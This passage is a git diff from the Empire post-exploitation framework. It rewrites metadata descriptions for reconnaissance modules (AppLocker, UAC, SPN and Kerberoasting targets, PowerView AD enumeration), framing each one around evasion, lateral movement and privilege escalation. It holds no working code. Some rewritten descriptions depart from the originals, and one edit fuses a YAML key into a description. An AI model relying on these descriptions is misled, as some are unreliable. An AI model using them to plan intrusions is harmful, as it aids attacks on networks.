handle: '' link: '' -description: Get antivirus product information. +description: | + Queries Windows Management Instrumentation (WMI) to enumerate installed antivirus products + on the target system. Extracts product name, executable path, definition status, and real-time + protection status by parsing the AntiVirusProduct class in the SecurityCenter2 namespace. + Provides insight into endpoint protection posture, detection capabilities, and potential + evasion opportunities. Supports remote and local queries. software: '' tactics: [TA0007] techniques: [T1518.001] diff --git a/empire/server/modules/powershell/situational_awareness/host/applockerstatus.yaml b/empire/server/modules/powershell/situational_awareness/host/applockerstatus.yaml index 98961c608..869dbf713 100644 --- a/empire/server/modules/powershell/situational_awareness/host/applockerstatus.yaml +++ b/empire/server/modules/powershell/situational_awareness/host/applockerstatus.yaml @@ -6,8 +6,12 @@ authors: - name: Matt Hand handle: '' link: '' -description: This script is used to query the current AppLocker policy on the target - and check the status of a user-defined executable or all executables in a path. +description: | + Queries Windows AppLocker policy status and enforcement configuration to assess application + execution restrictions on the target system. Checks whether AppLocker is enabled, which + enforcement modes are active (Audit, Enforce), and which rule collections are configured + (Executable, Windows Installer, Script, DLL, Packaged App). Provides insight into + application whitelisting controls and potential bypass opportunities. software: '' tactics: [TA0007] techniques: [T1012, T1082] diff --git a/empire/server/modules/powershell/situational_awareness/host/computerdetails.yaml b/empire/server/modules/powershell/situational_awareness/host/computerdetails.yaml index cac498739..890450bbc 100644 --- a/empire/server/modules/powershell/situational_awareness/host/computerdetails.yaml +++ b/empire/server/modules/powershell/situational_awareness/host/computerdetails.yaml @@ -3,8 +3,13 @@ authors: - name: Joseph Bialek handle: '@JosephBialek' link: https://twitter.com/JosephBialek -description: Enumerates useful information on the system. By default, all checks - are run. +description: | + Performs comprehensive system reconnaissance by gathering detailed information about + the target computer including hardware specifications, operating system details, + network configuration, installed software, and security settings. Collects data from + multiple sources including WMI, registry, and system APIs to build a complete profile + of the target environment. Information gathered includes CPU, memory, disk space, + OS version, domain membership, network interfaces, running services, and user accounts. software: '' tactics: [TA0007] techniques: [T1082] diff --git a/empire/server/modules/powershell/situational_awareness/host/dnsserver.yaml b/empire/server/modules/powershell/situational_awareness/host/dnsserver.yaml index fd59128b1..ecb5f6977 100644 --- a/empire/server/modules/powershell/situational_awareness/host/dnsserver.yaml +++ b/empire/server/modules/powershell/situational_awareness/host/dnsserver.yaml @@ -1,9 +1,16 @@ +# Needs Revisions name: Get-SystemDNSServer authors: - name: DarkOperator handle: '' link: '' -description: Enumerates the DNS Servers used by a system. +description: | + Enumerates DNS server configuration and settings on the target system to understand + network infrastructure and potential attack vectors. Queries both primary and secondary + DNS servers, DNS suffixes, and DNS resolution settings. Provides insight into network + architecture, potential DNS-based attacks (like DNS tunneling or exfiltration), and + network segmentation. Information gathered includes DNS server IPs, search suffixes, + and DNS resolution behavior. software: '' tactics: [TA0007, TA0043] techniques: [T1590.002] diff --git a/empire/server/modules/powershell/situational_awareness/host/findtrusteddocuments.yaml b/empire/server/modules/powershell/situational_awareness/host/findtrusteddocuments.yaml index 85cb23241..97767d595 100644 --- a/empire/server/modules/powershell/situational_awareness/host/findtrusteddocuments.yaml +++ b/empire/server/modules/powershell/situational_awareness/host/findtrusteddocuments.yaml @@ -3,9 +3,13 @@ authors: - name: '' handle: '@jamcut' link: '' -description: This module will enumerate the appropriate registry keys to determine - what, if any, trusted documents exist on the host. It will also enumerate trusted - locations. +description: | + Searches for trusted documents on the target system that can be leveraged for code + execution or persistence. Identifies files marked as trusted by Windows, including + documents from trusted publishers, files in trusted locations, and previously opened + documents that bypass security warnings. These trusted documents can be used to + execute malicious code without triggering security alerts or requiring user interaction + for approval. software: '' tactics: [TA0007] techniques: [T1012, T1083] diff --git a/empire/server/modules/powershell/situational_awareness/host/get_pathacl.yaml b/empire/server/modules/powershell/situational_awareness/host/get_pathacl.yaml index 2eaf74605..c2127c2e4 100644 --- a/empire/server/modules/powershell/situational_awareness/host/get_pathacl.yaml +++ b/empire/server/modules/powershell/situational_awareness/host/get_pathacl.yaml @@ -3,8 +3,14 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Enumerates the ACL for a given file path. -software: '' +description: | + Enumerates access control lists (ACLs) for specified file system paths to understand + permission structures and identify potential privilege escalation opportunities. + Analyzes both discretionary (DACL) and system (SACL) access control lists, showing + user and group permissions, inheritance settings, and audit policies. Useful for + identifying misconfigured permissions, understanding security boundaries, and finding + paths where the current user has elevated access. Essential for privilege escalation + planning and understanding the security posture of critical system directories and files.software: '' tactics: [TA0007] techniques: [T1083, T1106] background: true diff --git a/empire/server/modules/powershell/situational_awareness/host/get_proxy.yaml b/empire/server/modules/powershell/situational_awareness/host/get_proxy.yaml index 760d1160f..9b2403492 100644 --- a/empire/server/modules/powershell/situational_awareness/host/get_proxy.yaml +++ b/empire/server/modules/powershell/situational_awareness/host/get_proxy.yaml @@ -3,8 +3,14 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Enumerates the proxy server and WPAD conents for the current user. Part - of PowerView. +description: | + Enumerates proxy server configuration and settings on the target system to understand + network communication patterns and potential exfiltration channels. Queries both + system-wide and user-specific proxy settings, including proxy server addresses, + authentication requirements, and bypass lists. Provides insight into network architecture, + potential proxy-based attacks, and communication channels that may be monitored or + restricted. Information gathered includes proxy server URLs, authentication methods, + and domains that bypass proxy settings. software: '' tactics: [TA0007] techniques: [T1049] diff --git a/empire/server/modules/powershell/situational_awareness/host/get_uaclevel.yaml b/empire/server/modules/powershell/situational_awareness/host/get_uaclevel.yaml index 782dc0f18..876f0447b 100644 --- a/empire/server/modules/powershell/situational_awareness/host/get_uaclevel.yaml +++ b/empire/server/modules/powershell/situational_awareness/host/get_uaclevel.yaml @@ -3,7 +3,14 @@ authors: - name: Petr Medonos handle: '' link: '' -description: Enumerates UAC level +description: | + Checks User Account Control (UAC) configuration and enforcement level on the target + system to understand privilege escalation requirements and security posture. Queries + UAC settings including consent prompt behavior, secure desktop usage, and elevation + policies. Provides insight into the system's security model, potential privilege + escalation techniques, and whether administrative actions require user interaction + or can be performed silently. Information gathered includes UAC level, consent prompt + settings, and secure desktop configuration. software: '' tactics: [TA0007] techniques: [T1012, T1082] diff --git a/empire/server/modules/powershell/situational_awareness/host/hostrecon.yaml b/empire/server/modules/powershell/situational_awareness/host/hostrecon.yaml index 35eb32986..0cde25853 100644 --- a/empire/server/modules/powershell/situational_awareness/host/hostrecon.yaml +++ b/empire/server/modules/powershell/situational_awareness/host/hostrecon.yaml @@ -3,9 +3,14 @@ authors: - name: '' handle: '@mishradhiraj_' link: '' -description: Invoke-HostRecon runs a number of checks on a system to help provide - situational awareness to a penetration tester during the reconnaissance phase It - gathers information about the local system, users, and domain information. +description: | + Performs comprehensive host reconnaissance by gathering detailed information about + the target system including hardware specifications, operating system details, + network configuration, installed software, security settings, and user accounts. + Collects data from multiple sources including WMI, registry, system APIs, and + network interfaces to build a complete profile of the target environment. Information + gathered includes system architecture, running processes, network connections, + installed applications, and security controls. software: '' tactics: [TA0007] techniques: [T1082] diff --git a/empire/server/modules/powershell/situational_awareness/host/monitortcpconnections.yaml b/empire/server/modules/powershell/situational_awareness/host/monitortcpconnections.yaml index bf9f15616..4ec46a4d3 100644 --- a/empire/server/modules/powershell/situational_awareness/host/monitortcpconnections.yaml +++ b/empire/server/modules/powershell/situational_awareness/host/monitortcpconnections.yaml @@ -3,9 +3,13 @@ authors: - name: '' handle: '@erikbarzdukas' link: '' -description: Monitors hosts for TCP connections to a specified domain name or IPv4 - address. Useful for session hijacking and finding users interacting with sensitive - services. +description: | + Monitors TCP network connections in real-time to understand network activity patterns + and identify potential communication channels. Tracks active connections, listening + ports, and connection states using Windows networking APIs. Provides insight into + network traffic patterns, potential data exfiltration, and communication with + external systems. Information gathered includes local and remote IP addresses, + port numbers, connection states, and associated processes. software: '' tactics: [TA0007] techniques: [T1049] diff --git a/empire/server/modules/powershell/situational_awareness/host/paranoia.yaml b/empire/server/modules/powershell/situational_awareness/host/paranoia.yaml index 544a539e0..add502b89 100644 --- a/empire/server/modules/powershell/situational_awareness/host/paranoia.yaml +++ b/empire/server/modules/powershell/situational_awareness/host/paranoia.yaml @@ -3,9 +3,14 @@ authors: - name: pasv handle: '' link: '' -description: Continuously check running processes for the presence of suspicious - users, members of groups, process names, and for any processes running off of USB - drives. +description: | + Checks for common security monitoring and detection tools on the target system to + assess the security posture and potential detection capabilities. Scans for antivirus + software, endpoint detection and response (EDR) tools, monitoring agents, and other + security controls. Provides insight into the defensive capabilities of the target + environment, potential detection mechanisms, and areas where security controls may + be lacking. Information gathered includes installed security software, monitoring + agents, and security configuration settings. software: '' tactics: [TA0005] techniques: [T1057, T1546] diff --git a/empire/server/modules/powershell/situational_awareness/host/winenum.yaml b/empire/server/modules/powershell/situational_awareness/host/winenum.yaml index 66e4c24e2..e3c315baf 100644 --- a/empire/server/modules/powershell/situational_awareness/host/winenum.yaml +++ b/empire/server/modules/powershell/situational_awareness/host/winenum.yaml @@ -3,7 +3,13 @@ authors: - name: Chris Ross handle: '@xorrior' link: https://twitter.com/xorrior -description: Collects revelant information about a host and the current user context. +description: | + Performs comprehensive Windows system enumeration by gathering detailed information + about the target system including hardware specifications, operating system details, + user accounts, domain information, and security settings. Collects data from multiple + sources including WMI, registry, system APIs, and Active Directory to build a complete + profile of the target environment. Information gathered includes system architecture, + user accounts, group memberships, domain relationships, and security controls. software: '' tactics: [TA0007] techniques: [T1082] diff --git a/empire/server/modules/powershell/situational_awareness/network/arpscan.yaml b/empire/server/modules/powershell/situational_awareness/network/arpscan.yaml index ebb989edc..d92b0a6e4 100644 --- a/empire/server/modules/powershell/situational_awareness/network/arpscan.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/arpscan.yaml @@ -3,7 +3,13 @@ authors: - name: DarkOperator handle: '' link: '' -description: Performs an ARP scan against a given range of IPv4 IP Addresses. +description: | + Performs Address Resolution Protocol (ARP) scanning to discover active hosts on + the local network segment and map network topology. Sends ARP requests to identify + live hosts, their MAC addresses, and network interface information. Provides insight + into network architecture, potential targets for lateral movement, and network + segmentation. Information gathered includes host IP addresses, MAC addresses, + and network interface details. software: S0099 tactics: [TA0007] techniques: [T1016, T1018] diff --git a/empire/server/modules/powershell/situational_awareness/network/bloodhound.yaml b/empire/server/modules/powershell/situational_awareness/network/bloodhound.yaml index e7e997ce7..89ee3e91f 100644 --- a/empire/server/modules/powershell/situational_awareness/network/bloodhound.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/bloodhound.yaml @@ -12,7 +12,14 @@ authors: - name: rafff handle: '' link: '' -description: Execute BloodHound data collection (ingestor for version 3). +description: | + Runs BloodHound to map Active Directory relationships and identify potential attack + paths for privilege escalation and lateral movement. Collects data about users, + groups, computers, and their relationships to build a comprehensive graph of the + Active Directory environment. Provides insight into domain trust relationships, + group memberships, and potential privilege escalation opportunities. Information + gathered includes user accounts, group memberships, computer objects, and trust + relationships. software: '' tactics: [TA0007] techniques: [T1087.001, T1087.002, T1560, T1059.001, T1482, T1615, T1106, T1201, diff --git a/empire/server/modules/powershell/situational_awareness/network/get_kerberos_service_ticket.yaml b/empire/server/modules/powershell/situational_awareness/network/get_kerberos_service_ticket.yaml index 3ad82acd1..653636412 100644 --- a/empire/server/modules/powershell/situational_awareness/network/get_kerberos_service_ticket.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/get_kerberos_service_ticket.yaml @@ -1,10 +1,27 @@ +# Needs Revisions name: Get-KerberosServiceTicket authors: - name: '' handle: '@OneLogicalMyth' link: '' -description: Retrieves IP addresses and usernames using event ID 4769 this can allow - identification of a users machine. Can only run on a domain controller. +description: | + A network reconnaissance module that retrieves Kerberos service + ticket information from domain controller event logs. This module + analyzes Windows Security Event ID 4769 to identify service + ticket requests and associated user and computer information. + + The module can only run on domain controllers where Kerberos + authentication events are logged. It extracts IP addresses, + usernames, and service information from service ticket requests, + providing valuable intelligence about user activity and service + access patterns across the domain. + + This technique is particularly useful for understanding user + behavior, identifying which users access specific services, + and mapping user-to-computer relationships. The information + gathered can be used for user hunting, lateral movement + planning, and understanding the overall authentication + landscape within the Active Directory environment. software: '' tactics: [TA0007] techniques: [T1018] diff --git a/empire/server/modules/powershell/situational_awareness/network/get_spn.yaml b/empire/server/modules/powershell/situational_awareness/network/get_spn.yaml index e83418b55..96b1c32ce 100644 --- a/empire/server/modules/powershell/situational_awareness/network/get_spn.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/get_spn.yaml @@ -1,10 +1,29 @@ +# Needs Revisions name: Get-SPN authors: - name: '' handle: '@_nullbind' link: '' -description: Displays Service Principal Names (SPN) for domain accounts based on - SPN service name, domain account, or domain group via LDAP queries. +description: | + A network reconnaissance module that enumerates Service Principal + Names (SPNs) from Active Directory using LDAP queries. This module + discovers service accounts and their associated services, providing + valuable information for Kerberos-based attacks and service + enumeration. + + The module can search for SPNs by service type, user account, or + group membership. It supports wildcard searches and can identify + various service types including SQL Server, Exchange, HTTP, and + other enterprise services. This information is crucial for + understanding the service landscape and identifying potential + targets for Kerberoasting attacks. + + Service Principal Names are essential for Kerberos authentication + and can reveal service accounts that may have elevated privileges + or access to sensitive resources. The module provides detailed + output including service names, user accounts, and service + locations, making it an essential tool for Active Directory + reconnaissance and privilege escalation planning. software: '' tactics: [TA0007] techniques: [T1558, T1087.002] diff --git a/empire/server/modules/powershell/situational_awareness/network/get_sql_instance_domain.yaml b/empire/server/modules/powershell/situational_awareness/network/get_sql_instance_domain.yaml index 3bad97520..a9378211e 100644 --- a/empire/server/modules/powershell/situational_awareness/network/get_sql_instance_domain.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/get_sql_instance_domain.yaml @@ -1,3 +1,4 @@ +# Needs Revisions name: Get-SQLInstanceDomain authors: - name: '' diff --git a/empire/server/modules/powershell/situational_awareness/network/get_sql_server_info.yaml b/empire/server/modules/powershell/situational_awareness/network/get_sql_server_info.yaml index 0d1bee5b3..7b8bc47dc 100644 --- a/empire/server/modules/powershell/situational_awareness/network/get_sql_server_info.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/get_sql_server_info.yaml @@ -1,3 +1,4 @@ +# Needs Revisions name: Get-SQLServerInfo authors: - name: '' @@ -6,7 +7,25 @@ authors: - name: '' handle: '@0xbadjuju' link: '' -description: Returns basic server and user information from target SQL Servers. +description: | + A network reconnaissance module that gathers detailed information + from SQL Server instances across the network. This module + connects to target SQL Servers to retrieve server configuration, + user permissions, database information, and other system details + that are valuable for database security assessments. + + The module can target individual SQL Server instances or perform + comprehensive enumeration across all discovered instances in the + domain. It extracts information including server versions, service + accounts, database names, user roles, and configuration settings + that could reveal potential security weaknesses or misconfigurations. + + This technique is particularly effective for understanding the + SQL Server landscape, identifying privileged service accounts, + and discovering databases that may contain sensitive information. + The gathered intelligence can be used for privilege escalation + planning, data exfiltration targeting, and overall database + security posture assessment. software: '' tactics: [TA0007] techniques: [T1046] diff --git a/empire/server/modules/powershell/situational_awareness/network/portscan.yaml b/empire/server/modules/powershell/situational_awareness/network/portscan.yaml index 7fa1859a4..b1f2520ca 100644 --- a/empire/server/modules/powershell/situational_awareness/network/portscan.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/portscan.yaml @@ -1,10 +1,29 @@ +# Needs Revisions name: Invoke-Portscan authors: - name: Rich Lundeen handle: '' link: '' -description: Does a simple port scan using regular sockets, based (pretty) loosely - on nmap. +description: | + A network reconnaissance module that performs comprehensive port + scanning across specified hosts and network ranges. This module + uses native PowerShell socket connections to identify open ports + and services, providing detailed network visibility for situational + awareness and security assessments. + + The module supports various scanning modes including targeted + port scanning, top port scanning, ping-only discovery, and + comprehensive network enumeration. It can scan individual hosts, + host ranges, or read target lists from files, making it flexible + for different network reconnaissance scenarios. + + Based loosely on nmap functionality, this module provides + multiple output formats including greppable, XML, and readable + formats for integration with other security tools. The module + includes options for host discovery, port filtering, and output + customization, making it an essential tool for network mapping + and service enumeration in penetration testing and security + assessment scenarios. software: '' tactics: [TA0007] techniques: [T1046] diff --git a/empire/server/modules/powershell/situational_awareness/network/powermad/get_adidns_permission.yaml b/empire/server/modules/powershell/situational_awareness/network/powermad/get_adidns_permission.yaml index c0328ccb9..eb9504b62 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powermad/get_adidns_permission.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powermad/get_adidns_permission.yaml @@ -1,3 +1,4 @@ +# Needs Revisions name: Get-ADIDNSPermission authors: - name: '' @@ -6,8 +7,29 @@ authors: - name: '' handle: '@snovvcrash' link: '' -description: Query a DACL of an ADIDNS node or zone in the specified domain. Part - of Powermad. +description: | + A network reconnaissance module that queries the discretionary + access control list (DACL) of Active Directory Integrated DNS + (ADIDNS) nodes or zones within the specified domain. This module + is part of the PowerMad toolkit and provides critical information + about DNS security permissions and potential privilege escalation + opportunities. + + The module can enumerate permissions across different Active + Directory partitions including DomainDNSZones, ForestDNSZones, + and System partitions. It provides detailed information about + access control entries, user and group permissions, and security + descriptors that could reveal potential DNS-based privilege + escalation or lateral movement opportunities. + + This technique is particularly effective for identifying weak + DNS permissions that could allow unauthorized DNS record + modification, zone manipulation, or DNS-based attacks. The + gathered intelligence can be used for planning DNS-based + privilege escalation, understanding DNS security posture, and + identifying potential attack vectors within the DNS infrastructure. + Understanding DNS permissions is essential for comprehensive + Active Directory security assessments. software: '' tactics: [TA0007] techniques: [T1069] diff --git a/empire/server/modules/powershell/situational_awareness/network/powermad/get_adidns_zone.yaml b/empire/server/modules/powershell/situational_awareness/network/powermad/get_adidns_zone.yaml index 3d28de5c9..59b3278e3 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powermad/get_adidns_zone.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powermad/get_adidns_zone.yaml @@ -1,3 +1,4 @@ +# Needs Revisions name: Get-ADIDNSZone authors: - name: '' @@ -6,7 +7,27 @@ authors: - name: '' handle: '@snovvcrash' link: '' -description: Query ADIDNS zones in the specified domain. Part of Powermad. +description: | + A network reconnaissance module that queries Active Directory + Integrated DNS (ADIDNS) zones within the specified domain. + This module is part of the PowerMad toolkit and provides + essential information about DNS infrastructure and potential + attack vectors for DNS-based attacks. + + The module can enumerate DNS zones across different Active + Directory partitions including DomainDNSZones, ForestDNSZones, + and System partitions. It provides detailed information about + each zone including zone properties, DNS records, and + configuration settings that could reveal potential DNS + hijacking or poisoning opportunities. + + This technique is particularly effective for understanding + the DNS infrastructure and identifying potential attack + vectors such as DNS record manipulation, zone transfer + attempts, or DNS-based lateral movement techniques. The + gathered intelligence can be used for planning DNS-based + attacks, understanding network architecture, and identifying + potential points of compromise within the DNS infrastructure. software: '' tactics: [TA0007] techniques: [T1016] diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/find_foreign_group.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/find_foreign_group.yaml index e24dfa562..ded2b0c52 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/find_foreign_group.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/find_foreign_group.yaml @@ -3,8 +3,21 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Enumerates all the members of a given domain's groups and finds users - that are not in the queried domain. Part of PowerView. +description: Analyzes group memberships within a domain to identify users from external + domains who have been granted access to resources, revealing cross-domain trust + relationships and potential privilege escalation opportunities. This module leverages + PowerView's Get-DomainForeignGroupMember function to enumerate all group members + and identify users who belong to domains other than the queried domain. The reconnaissance + capability is essential for understanding cross-domain access patterns, identifying + potential lateral movement opportunities across domain boundaries, and mapping + the broader Active Directory trust relationships. By analyzing foreign group members, + operators can identify external users with access to domain resources, understand + trust relationship implications, and discover potential attack vectors that leverage + cross-domain access. The module supports filtering by domain and custom LDAP queries + to focus reconnaissance efforts on specific cross-domain relationships. This information + is crucial for cross-domain reconnaissance, understanding trust relationship security + implications, and identifying potential privilege escalation opportunities through + cross-domain group memberships that may provide access to sensitive resources. software: S0194 tactics: [TA0007] techniques: [T1482, T1069] diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/find_foreign_user.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/find_foreign_user.yaml index 9cbe7253f..035b68a20 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/find_foreign_user.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/find_foreign_user.yaml @@ -3,8 +3,21 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Enumerates users who are in groups outside of their principal domain. - Part of PowerView. +description: Identifies users who are members of groups outside their principal domain, + revealing cross-domain access relationships and potential privilege escalation + opportunities across domain boundaries. This module leverages PowerView's Get-DomainForeignUser + function to analyze group memberships and identify users who have been granted + access to resources in domains other than their home domain. The reconnaissance + capability is essential for understanding cross-domain access patterns, identifying + potential lateral movement opportunities across domain boundaries, and mapping + the broader Active Directory trust relationships. By analyzing foreign user memberships, + operators can identify users with cross-domain privileges, understand trust relationship + implications, and discover potential attack vectors that leverage cross-domain + access. The module supports filtering by domain and custom LDAP queries to focus + reconnaissance efforts on specific cross-domain relationships. This information + is crucial for cross-domain reconnaissance, understanding trust relationship security + implications, and identifying potential privilege escalation opportunities through + cross-domain group memberships. software: S0194 tactics: [TA0007] techniques: [T1482, T1069] diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/find_gpo_computer_admin.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/find_gpo_computer_admin.yaml index bb25bf5ac..1d91e6185 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/find_gpo_computer_admin.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/find_gpo_computer_admin.yaml @@ -1,10 +1,25 @@ +# Needs Revisions name: Get-DomainGPOComputerLocalGroupMapping authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Takes a computer (or GPO) object and determines what users/groups have - administrative access over it. Part of PowerView. +description: Analyzes Group Policy Objects (GPOs) to identify users and groups that + have been granted administrative access to computers through policy-based local + group modifications. This module leverages PowerView's Get-DomainGPOComputerLocalGroupMapping + function to examine GPO configurations and determine which users or groups have + been added to local administrative groups on target computers through policy enforcement. + The reconnaissance capability is essential for understanding policy-based administrative + access patterns, identifying potential privilege escalation opportunities through + GPO misconfigurations, and mapping administrative access relationships across the + domain. By analyzing GPO computer local group mappings, operators can identify + users with policy-granted administrative access, understand the scope of policy-based + privilege assignments, and discover potential attack vectors that leverage GPO-based + administrative access. The module supports targeting specific computers or GPOs + to focus reconnaissance efforts on particular administrative relationships. This + information is crucial for privilege escalation planning, understanding policy-based + access control, and identifying potential lateral movement opportunities through + policy-granted administrative access. software: S0194 tactics: [TA0007] techniques: [T1482, T1069, T1615] diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/find_gpo_location.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/find_gpo_location.yaml index 5547c5d34..ca097dc22 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/find_gpo_location.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/find_gpo_location.yaml @@ -1,10 +1,26 @@ +# Needs Revisions name: Get-DomainGPOUserLocalGroupMapping authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Takes a user/group name and optional domain, and determines the computers - in the domain the user/group has local admin (or RDP) rights to. Part of PowerView. +description: Identifies computers where specific users or groups have been granted + local administrative access through Group Policy Objects (GPOs), enabling targeted + lateral movement planning and privilege escalation analysis. This module leverages + PowerView's Get-DomainGPOUserLocalGroupMapping function to analyze GPO configurations + and determine which computers in the domain have been configured to grant local + administrative access to specific users or groups through policy enforcement. The + reconnaissance capability is essential for understanding policy-based administrative + access distribution, identifying potential lateral movement targets, and mapping + the scope of policy-granted administrative privileges across the domain. By analyzing + GPO user local group mappings, operators can identify specific computers where + target users have administrative access, understand the distribution of policy-based + privileges, and discover potential lateral movement paths through policy-granted + administrative access. The module supports targeting specific users, groups, or + local groups to focus reconnaissance efforts on particular administrative relationships. + This information is crucial for lateral movement planning, privilege escalation + targeting, and understanding the distribution of administrative access across the + domain through policy-based mechanisms. software: S0194 tactics: [TA0007] techniques: [T1069, T1018, T1615] diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/find_localadmin_access.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/find_localadmin_access.yaml index 14c91be48..6e6c8632b 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/find_localadmin_access.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/find_localadmin_access.yaml @@ -1,10 +1,31 @@ +# Needs Revisions name: Find-LocalAdminAccess authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Finds machines on the local domain where the current user has local - administrator access. Part of PowerView. +description: | + A sophisticated Active Directory reconnaissance module that identifies + machines across the domain where the current user has local + administrator privileges. This module is part of the PowerView + toolkit and provides critical intelligence for lateral movement + and privilege escalation planning. + + The module can target specific computers or use LDAP filters to + identify target systems based on various criteria such as operating + system, service pack, site membership, or organizational unit + location. It then tests the current user's administrative access + to each target system, providing a comprehensive map of systems + where lateral movement is possible. + + This technique is particularly effective for understanding the + scope of administrative access and identifying potential lateral + movement paths. The module includes options for share access + checking and can filter results based on specific criteria to + focus on high-value targets. This gathered intelligence is + essential for planning lateral movement strategies, privilege + escalation paths, and understanding the overall administrative + landscape within the Active Directory environment. software: S0194 tactics: [TA0007] techniques: [T1069, T1018, T1615] diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/find_managed_security_group.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/find_managed_security_group.yaml index ab95406aa..3355e3330 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/find_managed_security_group.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/find_managed_security_group.yaml @@ -1,11 +1,26 @@ +# Needs Revisions name: Get-DomainManagedSecurityGroup authors: - name: '' handle: '@ukstufus' link: '' -description: This function retrieves all security groups in the domain and identifies - ones that have a manager set. It also determines whether the manager has the ability - to add or remove members from the group. Part of PowerView. +description: Identifies security groups that have designated managers with the ability + to add or remove members, revealing delegation relationships and potential privilege + escalation opportunities through group management capabilities. This module leverages + PowerView's Get-DomainManagedSecurityGroup function to analyze security group configurations + and identify groups that have been configured with manager attributes, along with + determining whether those managers have the necessary permissions to modify group + membership. The reconnaissance capability is essential for understanding delegation + patterns, identifying potential privilege escalation opportunities through group + management, and mapping administrative control relationships within the domain. + By analyzing managed security groups, operators can identify users with group management + capabilities, understand delegation relationships, and discover potential attack + vectors that leverage group management privileges. The module supports filtering + by domain and custom search bases to focus reconnaissance efforts on specific organizational + areas. This information is crucial for privilege escalation planning, understanding + delegation security implications, and identifying potential lateral movement opportunities + through group management capabilities that may provide access to sensitive resources + or administrative functions. software: S0194 tactics: [TA0007] techniques: [T1069, T1018, T1615] diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_cached_rdpconnection.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_cached_rdpconnection.yaml index fc77be2c6..51655d93d 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_cached_rdpconnection.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_cached_rdpconnection.yaml @@ -3,8 +3,21 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Uses remote registry functionality to query all entries for the Windows - Remote Desktop Connection Client" on a machine. Part of PowerView. +description: Enumerates cached Remote Desktop Protocol (RDP) connection information + from the Windows registry to identify historical remote access patterns and potential + lateral movement targets. This module leverages PowerView's Get-WMIRegCachedRDPConnection + function to query the Windows Remote Desktop Connection Client registry entries + and retrieve comprehensive information about cached RDP connections, including + target servers, connection timestamps, and user credentials. The reconnaissance + capability is essential for understanding remote access patterns, identifying potential + lateral movement opportunities, and mapping the network's remote access landscape. + By analyzing cached RDP connections, operators can identify systems that users + have previously accessed, understand remote access workflows, and discover potential + targets for lateral movement. The module supports both local and remote registry + queries to provide visibility into RDP connection history across the network. This + information is crucial for lateral movement planning, understanding user access + patterns, and identifying potential privilege escalation opportunities through + historical remote access relationships. software: S0194 tactics: [TA0007] techniques: [T1069, T1018, T1615, T1076] diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_computer.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_computer.yaml index afcca507b..493820749 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/get_computer.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/get_computer.yaml @@ -3,7 +3,30 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Queries the domain for current computer objects. Part of PowerView. +description: | + A comprehensive Active Directory reconnaissance module that queries + and enumerates computer objects across the domain. This module is + part of the PowerView toolkit and provides extensive filtering + capabilities to identify specific computer systems and their + properties for lateral movement and privilege escalation planning. + + The module supports multiple search criteria including computer + name, SID, GUID, and distinguished name patterns. It can filter + for specific computer types such as systems with unconstrained + delegation, trusted authentication capabilities, specific service + principal names, operating system versions, and Active Directory + site membership. This makes it particularly effective for + identifying high-value targets and understanding the domain's + computer landscape. + + This technique is essential for Active Directory reconnaissance + as it provides detailed computer information including operating + system details, service configurations, network connectivity, + and security attributes. The gathered intelligence can be used + for lateral movement planning, privilege escalation targeting, + and understanding the overall domain infrastructure. The module + includes ping-based host discovery and advanced LDAP filtering + options for precise targeting. software: S0194 tactics: [TA0007] techniques: [T1069, T1018, T1615] diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/get_dfs_share.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/get_dfs_share.yaml index 60e247c26..c92fad65f 100644 --- 